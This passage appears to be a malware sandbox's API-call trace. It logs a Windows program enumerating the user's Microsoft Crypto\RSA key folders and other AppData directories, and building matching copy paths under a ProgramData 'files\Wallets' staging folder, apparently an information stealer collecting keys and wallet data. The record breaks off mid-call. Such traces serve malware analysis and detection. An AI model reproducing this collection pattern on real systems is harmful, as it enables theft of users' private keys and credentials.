lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.154] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0052.154] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0052.154] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*.*" [0052.154] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a3c0 [0052.171] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\." [0052.171] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.171] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.171] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\." [0052.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.171] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.171] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\.." [0052.171] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.171] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.171] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\.." [0052.171] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.171] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.171] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0052.172] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.172] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.172] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0052.172] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.172] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0052.172] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.172] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.172] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0052.172] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.172] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.173] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.173] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0052.173] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.173] FindClose (in: hFindFile=0x589e80 | out: hFindFile=0x589e80) returned 1 [0052.173] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.173] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0052.173] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.173] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.173] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" [0052.173] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0052.173] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0052.173] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*.*" [0052.174] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589f40 [0052.174] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\." [0052.174] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\" [0052.174] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\." [0052.174] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.174] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.174] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\.." [0052.174] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\" [0052.174] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\.." [0052.174] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.174] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.174] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.174] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\" [0052.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0052.174] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks" [0052.174] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\" [0052.175] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" [0052.175] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0052.175] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0052.175] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" | out: 